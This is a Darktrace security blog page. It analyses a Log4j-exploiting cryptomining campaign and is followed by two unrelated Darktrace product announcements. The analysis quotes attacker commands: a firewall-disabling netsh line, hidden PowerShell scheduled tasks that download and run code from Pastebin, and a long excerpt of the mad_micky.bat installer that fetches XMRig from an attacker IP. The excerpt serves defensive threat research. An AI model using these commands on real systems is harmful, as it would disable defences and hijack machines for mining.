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Dentro del SOC

Exploración de una campaña de minería de criptomonedas que utilizó la vulnerabilidad Log4j

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03
Abril 2022
03
Abril 2022
Este blog analiza un patrón de campaña detectado por Darktrace a través de múltiples clientes y sectores que utilizaron la vulnerabilidad Log4j para explotar sistemas comprometidos para la minería de criptomonedas, destacando el ataque de múltiples etapas desde el contacto inicial C2 a través de la recuperación de la carga útil hasta la instalación exitosa de la minería de criptomonedas.

Background on Log4j

On December 9 2021, the Alibaba Cloud Security Team publicly disclosed a critical vulnerability (CVE-2021-44228) enabling unauthenticated remote code execution against multiple versions of Apache Log4j2 (Log4Shell). Vulnerable servers can be exploited by attackers connecting via any protocol such as HTTPS and sending a specially crafted string.

Log4j crypto-mining campaign

Darktrace detected crypto-mining on multiple customer deployments which occurred as a result of exploiting this Log4j vulnerability. In each of these incidents, exploitation occurred via outbound SSL connections which appear to be requests for base64-encoded PowerShell scripts to bypass perimeter defenses and download batch (.bat) script files, and multiple executables that install crypto-mining malware. The activity had wider campaign indicators, including common hard-coded IPs, executable files, and scripts.

The attack cycle begins with what appears to be opportunistic scanning of Internet-connected devices looking for VMWare Horizons servers vulnerable to the Log4j exploit. Once a vulnerable server is found, the attacker makes HTTP and SSL connections to the victim. Following successful exploitation, the server performs a callback on port 1389, retrieving a script named mad_micky.bat. This achieves the following:

  • Disables Windows firewall by setting all profiles to state=off
    ‘netsh advfirewall set allprofiles state off’
  • Searches for existing processes that indicate other miner installs using ‘netstat -ano | findstr TCP’ to identify any process operating on ports :3333, :4444, :5555, :7777, :9000 and stop the processes running
  • A new webclient is initiated to silently download wxm.exe
  • Scheduled tasks are used to create persistence. The command ‘schtasks /create /F /sc minute /mo 1 /tn –‘ schedules a task and suppresses warnings, the task is to be scheduled within a minute of command and given the name, ‘BrowserUpdate’, pointing to malicious domain, ‘b.oracleservice[.]top’ and hard-coded IP’s: 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080
  • Registry keys are added in RunOnce for persistence: reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Run2 /d

In at least two cases, the mad_micky.bat script was retrieved in an HTTP connection which had the user agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS). This was the first and only time this user agent was seen on these networks. It appears this user agent is used legitimately by some ASUS devices with fresh factory installs; however, as a new user agent only seen during this activity it is suspicious.

Following successful exploitation, the server performs a callback on port 1389, to retrieve script files. In this example, /xms.ps1 a base-64 encoded PowerShell script that bypasses execution policy on the host to call for ‘mad_micky.bat’:

Figure 1: Additional insight on PowerShell script xms.ps1

The snapshot details the event log for an affected server and indicates successful Log4j RCE that resulted in the mad_micky.bat file download:

Figure 2: Log data highlighting mad_micky.bat file

Additional connections were initiated to retrieve executable files and scripts. The scripts contained two IP addresses located in Korea and Ukraine. A connection was made to the Ukrainian IP to download executable file xm.exe, which activates the miner. The miner, XMRig Miner (in this case) is an open source, cross-platform mining tool available for download from multiple public locations. The next observed exe download was for ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).

Figure 3: Additional insight regarding XMRig executable

The connection to the Korean IP involved a request for another script (/2.ps1) as well as an executable file (LogBack.exe). This script deletes running tasks associated with logging, including SCM event log filter or PowerShell event log consumer. The script also requests a file from Pastebin, which is possibly a Cobalt Strike beacon configuration file. The log deletes were conducted through scheduled tasks and WMI included: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.

  • Config file (no longer hosted): IEX (New-Object System.Net.Webclient) DownloadString('hxxps://pastebin.com/raw/g93wWHkR')

The second file requested from Pastebin, though no longer hosted by Pastebin, is part of a schtasks command, and so probably used to establish persistence:

  • schtasks /create /sc MINUTE /mo 5 /tn  "\Microsoft\windows\.NET Framework\.NET Framework NGEN v4.0.30319 32" /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''hxxps://pastebin.com/raw/bcFqDdXx'''))'"  /F /ru System

The executable file Logback.exe is another XMRig mining tool. A config.json file was also downloaded from the same Korean IP. After this cmd.exe and wmic commands were used to configure the miner.

These file downloads and miner configuration were followed by additional connections to Pastebin.

Figure 4: OSINT correlation of mad_micky.bat file[1]

Process specifics — mad_micky.bat file

Install

set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”

looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001

Preparing miner

echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0

Download of XMRIG

echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)

Unpack and install

echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%\7za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%\7za.exe’”

powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP

if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1

Detecting the campaign using Darktrace

The key model breaches Darktrace used to identify this campaign include compromise-focussed models for Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server, and Beaconing to Rare Destination. File-focussed models for Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations, and Compressed Content from Rare External Location. Cryptocurrency mining is detected under the Cryptocurrency Mining Activity models.

The models associated with Unusual PowerShell to Rare and New User Agent highlight the anomalous connections on the infected devices following the Log4j callbacks.

Customers with Darktrace’s Autonomous Response technology, Antigena, also had actions to block the incoming files and scripts downloaded and restrict the infected devices to normal pattern of life to prevent both the initial malicious file downloads and the ongoing crypto-mining activity.

Appendix

Darktrace model detections

  • Anomalous Connection / Application Protocol on Uncommon Port
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous Connection / PowerShell to Rare External
  • Anomalous File / EXE from Rare External location
  • Anomalous File / Masqueraded File Transfer
  • Anomalous File / Multiple EXE from Rare External Locations
  • Anomalous File / Script from Rare External Location
  • Anomalous File / Zip or Gzip from Rare External Location
  • Anomalous Server Activity / Outgoing from Server
  • Compliance / Crypto Currency Mining Activity
  • Compromise / Agent Beacon (Long Period)
  • Compromise / Agent Beacon (Medium Period)
  • Compromise / Agent Beacon (Short Period)
  • Compromise / Beacon to Young Endpoint
  • Compromise / Beaconing Activity To External Rare
  • Compromise / Crypto Currency Mining Activity
  • Compromise / Sustained TCP Beaconing Activity To Rare Endpoint
  • Device / New PowerShell User Agent
  • Device / Suspicious Domain

Técnicas ATT&CK de MITRE observadas

IoCs

For Darktrace customers who want to find out more about Log4j detection, refer here for an exclusive supplement to this blog.

Notas a pie de página

1. https://www.virustotal.com/gui/file/9e3f065ac23a99a11037259a871f7166ae381a25eb3f724dcb034225a188536d

DENTRO DEL SOC
Darktrace son expertos de talla mundial en inteligencia de amenazas, caza de amenazas y respuesta a incidentes, y proporcionan apoyo al SOC las 24 horas del día a miles de clientes de Darktrace en todo el mundo. Inside the SOC está redactado exclusivamente por estos expertos y ofrece un análisis de los ciberincidentes y las tendencias de las amenazas, basado en la experiencia real sobre el terreno.
AUTOR
SOBRE EL AUTOR
Hanah Darley
Director of Threat Research
Steve Robinson
Principal Consultant for Threat Detection
Ross Ellis
Principal Cyber Analyst
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Email

Looking Beyond Secure Email Gateways with the Latest Innovations to Darktrace/Email

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09
Apr 2024

Organizations Should Demand More from their Email Security

In response to a more intricate threat landscape, organizations should view email security as a critical component of their defense-in-depth strategy, rather than defending the inbox alone with a traditional Secure Email Gateway (SEG). Organizations need more than a traditional gateway – that doubles, instead of replaces, the capabilities provided by native security vendor – and require an equally granular degree of analysis across all messaging, including inbound, outbound, and lateral mail, plus Teams messages.  

Darktrace/Email is the industry’s most advanced cloud email security, powered by Self-Learning AI. It combines AI techniques to exceed the accuracy and efficiency of leading security solutions, and is the only security built to elevate, not duplicate, native email security.  

With its largest update ever, Darktrace/Email introduces the following innovations, finally allowing security teams to look beyond secure email gateways with autonomous AI:

  • AI-augmented data loss prevention to stop the entire spectrum of outbound mail threats
  • an easy way to deploy DMARC quickly with AI
  • major enhancements to streamline SOC workflows and increase the detection of sophisticated phishing links
  • expansion of Darktrace’s leading AI prevention to lateral mail, account compromise and Microsoft Teams

What’s New with Darktrace/Email  

Data Loss Prevention  

Block the entire spectrum of outbound mail threats with advanced data loss prevention that builds on tags in native email to stop unknown, accidental, and malicious data loss

Darktrace understands normal at individual user, group and organization level with a proven AI that detects abnormal user behavior and dynamic content changes. Using this understanding, Darktrace/Email actions outbound emails to stop unknown, accidental and malicious data loss.  

Traditional DLP solutions only take into account classified data, which relies on the manual input of labelling each data piece, or creating rules to catch pattern matches that try to stop data of certain types leaving the organization. But in today’s world of constantly changing data, regular expression and fingerprinting detection are no longer enough.

  • Human error – Because it understands normal for every user, Darktrace/Email can recognize cases of misdirected emails. Even if the data is correctly labelled or insensitive, Darktrace recognizes when the context in which it is being sent could be a case of data loss and warns the user.  
  • Unclassified data – Whereas traditional DLP solutions can only take action on classified data, Darktrace analyzes the range of data that is either pending labels or can’t be labeled with typical capabilities due to its understanding of the content and context of every email.  
  • Insider threat – If a malicious actor has compromised an account, data exfiltration may still be attempted on encrypted, intellectual property, or other forms of unlabelled data to avoid detection. Darktrace analyses user behaviour to catch cases of unusual data exfiltration from individual accounts.

And classification efforts already in place aren’t wasted – Darktrace/Email extends Microsoft Purview policies and sensitivity labels to avoid duplicate workflows for the security team, combining the best of both approaches to ensure organizations maintain control and visibility over their data.

End User and Security Workflows

Achieve more than 60% improvement in the quality of end-user phishing reports and detection of sophisticated malicious weblinks1

Darktrace/Email improves end-user reporting from the ground up to save security team resource. Employees will always be on the front line of email security – while other solutions assume that end-user reporting is automatically of poor quality, Darktrace prioritizes improving users’ security awareness to increase the quality of end-user reporting from day one.  

Users are empowered to assess and report suspicious activity with contextual banners and Cyber AI Analyst generated narratives for potentially suspicious emails, resulting in 60% fewer benign emails reported.  

Out of the higher-quality emails that end up being reported, the next step is to reduce the amount of emails that reach the SOC. Darktrace/Email’s Mailbox Security Assistant automates their triage with secondary analysis combining additional behavioral signals – using x20 more metrics than previously – with advanced link analysis to detect 70% more sophisticated malicious phishing links.2 This directly alleviates the burden of manual triage for security analysts.

For the emails that are received by the SOC, Darktrace/Email uses automation to reduce time spent investigating per incident. With live inbox view, security teams gain access to a centralized platform that combines intuitive search capabilities, Cyber AI Analyst reports, and mobile application access. Analysts can take remediation actions from within Darktrace/Email, eliminating console hopping and accelerating incident response.

Darktrace takes a user-focused and business-centric approach to email security, in contrast to the attack-centric rules and signatures approach of secure email gateways

Microsoft Teams

Detect threats within your Teams environment such as account compromise, phishing, malware and data loss

Around 83% of Fortune 500 companies rely on Microsoft Office products and services, particularly Teams and SharePoint.3

Darktrace now leverages the same behavioral AI techniques for Microsoft customers across 365 and Teams, allowing organizations to detect threats and signals of account compromise within their Teams environment including social engineering, malware and data loss.  

The primary use case for Microsoft Teams protection is as a potential entry vector. While messaging has traditionally been internal only, as organizations open up it is becoming an entry vector which needs to be treated with the same level of caution as email. That’s why we’re bringing our proven AI approach to Microsoft Teams, that understands the user behind the message.  

Anomalous messaging behavior is also a highly relevant indicator of whether a user has been compromised. Unlike other solutions that analyze Microsoft Teams content which focus on payloads, Darktrace goes beyond basic link and sandbox analysis and looks at actual user behavior from both a content and context perspective. This linguistic understanding isn’t bound by the requirement to match a signature to a malicious payload, rather it looks at the context in which the message has been delivered. From this analysis, Darktrace can spot the early symptoms of account compromise such as early-stage social engineering before a payload is delivered.

Lateral Mail Analysis

Detect and respond to internal mailflow with multi-layered AI to prevent account takeover, lateral phishing and data leaks

The industry’s most robust account takeover protection now prevents lateral mail account compromise. Darktrace has always looked at internal mail to inform inbound and outbound decisions, but will now elevate suspicious lateral mail behaviour using the same AI techniques for inbound, outbound and Teams analysis.

Darktrace integrates signals from across the entire mailflow and communication patterns to determine symptoms of account compromise, now including lateral mailflow

Unlike other solutions which only analyze payloads, Darktrace analyzes a whole range of signals to catch lateral movement before a payload is delivered. Contributing yet another layer to the AI behavioral profile for each user, security teams can now use signals from lateral mail to spot the early symptoms of account takeover and take autonomous actions to prevent further compromise.

DMARC

Gain in-depth visibility and control of 3rd parties using your domain with an industry-first AI-assisted DMARC

Darktrace has created the easiest path to brand protection and compliance with the new Darktrace/DMARC. This new capability continuously stops spoofing and phishing from the enterprise domain, while automatically enhancing email security and reducing the attack surface.

Darktrace/DMARC helps to upskill businesses by providing step by step guidance and automated record suggestions provide a clear, efficient road to enforcement. It allows organizations to quickly achieve compliance with requirements from Google, Yahoo, and others, to ensure that their emails are reaching mailboxes.  

Meanwhile, Darktrace/DMARC helps to reduce the overall attack surface by providing visibility over shadow-IT and third-party vendors sending on behalf of an organization’s brand, while informing recipients when emails from their domains are sent from un-authenticated DMARC source.

Darktrace/DMARC integrates with the wider Darktrace product platform, sharing insights to help further secure your business across Email Attack Path and Attack Surface management.

Conclusion

To learn more about the new innovations to Darktrace/Email download the solution brief here.

All of the new updates to Darktrace/Email sit within the new Darktrace ActiveAI Security Platform, creating a feedback loop between email security and the rest of the digital estate for better protection. Click to read more about the Darktrace ActiveAI Security Platform or to hear about the latest innovations to Darktrace/OT, the most comprehensive prevention, detection, and response solution purpose built for critical infrastructures.  

Learn about the intersection of cyber and AI by downloading the State of AI Cyber Security 2024 report to discover global findings that may surprise you, insights from security leaders, and recommendations for addressing today’s top challenges that you may face, too.

References

[1] Internal Darktrace Research

[2] Internal Darktrace Research

[3] Essential Microsoft Office Statistics in 2024

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About the author
Carlos Gray
Product Manager

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Managing Risk Beyond CVE Scores With the Latest Innovations to Darktrace/OT

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09
Apr 2024

Identifying Cyber Risk in Industrial Organizations

Compromised OT devices in ICS and SCADA environments pose significant physical risks, even endangering lives. However, identifying CVEs in the multitude of complex OT devices is labor-intensive and time-consuming, draining valuable resources.

Even after identifying a vulnerability, implementing a patch presents its own challenges limited maintenance windows and the need for uninterrupted operations strain IT and OT teams often leading organizations to prioritize availability over security leading vulnerabilities remaining unresolved for over 5 years on average. (1)

Darktrace’s New Innovation

Darktrace is an industry leader in cybersecurity with 10+ years of experience securing OT environments where we take a fundamentally different approach using Self-Learning AI to enhance threat detection and response.

Continuing to combat the expanding threat landscape, Darktrace is excited to announce new capabilities that enable a contextualized and proactive approach to managing cyber risk at industrial organizations.

Today we launch an innovation to our OT Cybersecurity solution, Darktrace/OT, that will add a layer of proactivity, enabling a comprehensive approach to risk management. This industry leading innovation for Darktrace/OT moves beyond CVE scores to redefine vulnerability management for critical infrastructure, tackling the full breadth of risks not limited by traditional controls.  

Darktrace/OT is the only OT security solution with comprehensive Risk Management which includes:

  • Contextualized risk analysis unique to your organization
  • The most realistic evaluation and prioritization of OT risk
  • Effectively mitigate risk across your OT infrastructure, with and without patching.
  • The only OT security solution that evaluates your defenses against Advanced Persistent Threat (APT) Groups.

The most comprehensive prevention, detection, and response solution purpose built for Critical Infrastructures

Darktrace’s Self-Learning AI technology is a cutting-edge innovation that implements real time prevention, detection, response, and recovery for operational technologies and enables a fundamental shift from the traditional approach to cyber defense by learning a ‘pattern of life’ for every network, device, and user.  

Rather than relying on knowledge of past attacks, AI technology learns what is ‘normal’ for its environment, discovering previously unknown threats by detecting subtle shifts in behavior. Through identifying these unexpected anomalies, security teams can investigate novel attacks, discover blind spots, have live time visibility across all their physical and digital assets, and reduce time to detect, respond to, and triage security events.  

  • Achieve greater visibility of OT and IT devices across all levels of the Purdue Model.
  • The industry's only OT security to scale threat detection and response, with a 92% time saving from triage to recovery.  
  • The only OT focused security solution to provide bespoke Risk Management.

To learn more about how Darktrace/OT approaches unique use cases for industrial organizations visit the Darktrace/OT Webpage or join us LIVE at a city near you.

Read more below to discover how new innovations to Darktrace/OT are bringing a new, contextualized approach to Risk Management for Industrial organizations.

For more information on the entire Darktrace/OT Solution read our solution brief here.

Darktrace/OT and New Risk Management

Risk Identification

Leveraging the visibility of Darktrace/OT which identifies individual systems throughout the Purdue Model and the relationship between them, Darktrace/OT identifies high-risk CVEs and presents potential attack routes that go beyond techniques requiring a known exploit, such as misuse of legitimate services. Each attack path will have a mathematical evaluation of difficulty and impact from initial access to the high value objectives.  

Together this gives comprehensive coverage over your real and potential risks from both an attacker and known vulnerability perspectives. OT attack paths as seen here even leverage insights between the industrial and corporate communications to reveal ways threat actors may take advantage of IT-OT convergence. This revelation of imperceptible risks fills gaps in traditional risk analysis like remote access and insider threats.

Figure 1: Darktrace/OT visualizing the most critical attack paths at an organization
Figure 1: Darktrace/OT visualizing the most critical attack paths at an organization
Figure 2: A specific Attack Path identified by Darktrace/OT

Risk Prioritization

Darktrace/OT prioritizes remediations and mitigations based on difficulty and damage to your unique organization, using the established Attack Paths.

We ascertain the priorities that apply to your organization beyond pure theoretical damage answering questions like:

  • How difficult is a particular vulnerability to exploit considering the steps an attacker would require to reach it?
  • And, how significant would the impact be if it was exploited within this particular network?

This expanded approach to risk prioritization has a much more comprehensive evaluation of your organization's unique risk than has ever been possible before. Traditional approaches of ranking only known vulnerabilities with isolated scores using CVSS and exploitability metrics, often leaves gaps in IT-OT risks and is blind to legitimate service exploitation.

Figure 3: Darktrace/OT leverages its contextual understand of the organization’s network to prioritize remediation that will have the positive impact on the risk score

Darktrace provides mitigation strategies associated with each identified risk and the relevant impact it has on your overall risk posture, across all MITRE ATT&CK techniques.

What sets Darktrace apart is our ability to contextualize these mitigations within the broader business. When patching vulnerabilities directly isn’t possible, Darktrace identifies alternative actions that harden attack paths leading to critical assets. Hardening the surrounding attack path increases the difficulty and therefore reduces the likelihood and impact of a breach.

That means unpatched vulnerabilities and vulnerable devices aren’t left unprotected. This also has an added bonus, those hardening techniques work for all devices in that network segment, so apply one change, secure many.

Figure 4: Darktrace prioritizes mitigation reducing accessibility of vulnerability and the overall risk score when patches aren’t available

Communicate Board Level Risk with APT Threat Mapping

Darktrace/OT bridges theory and practice as the only security solution that maps MITRE techniques, frequently used by APT Groups, onto AI-assessed critical Attack Paths. This unique solution provides unparalleled insights including sector and location intelligence, possible operating platforms, common techniques, exploited CVEs, and the number of potential devices affected in your environment, supporting holistic risk assessment and proactive defense measures.

Ultimately, this becomes a power dashboard to communicate board level risk, using both metric based evidence and industry standard threat mapping.

Conclusion

Darktrace/OT is part of the Darktrace ActiveAI Security Platform a native, holistic, AI-driven platform built on over ten years of AI research. It helps security teams shift to more a productive mode, finding the known and the unknown attacks and transforming the SOC with the various Darktrace products to drive efficiency gains. It does this across the whole incident lifecycle to lower risk, reduce time spent on active incidents, and drive return on investment.

Discover more about Darktrace's ever-strengthening platform with the upcoming changes coming to our Darktrace/Email product and other launch day blogs.

Join Darktrace LIVE half-day event to understand the reality versus the hype surrounding AI and how to achieve cyber resilience.

Learn about the intersection of cyber and AI by downloading the State of AI Cyber Security 2024 report to discover global findings that may surprise you, insights from security leaders, and recommendations for addressing today’s top challenges that you may face, too.  

References

1. https://research-information.bris.ac.uk/ws/portalfiles/portal/313646831/Catch_Me_if_You_Can.pdf

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About the author
Mitchell Bezzina
VP, Product and Solutions Marketing
Our ai. Your data.

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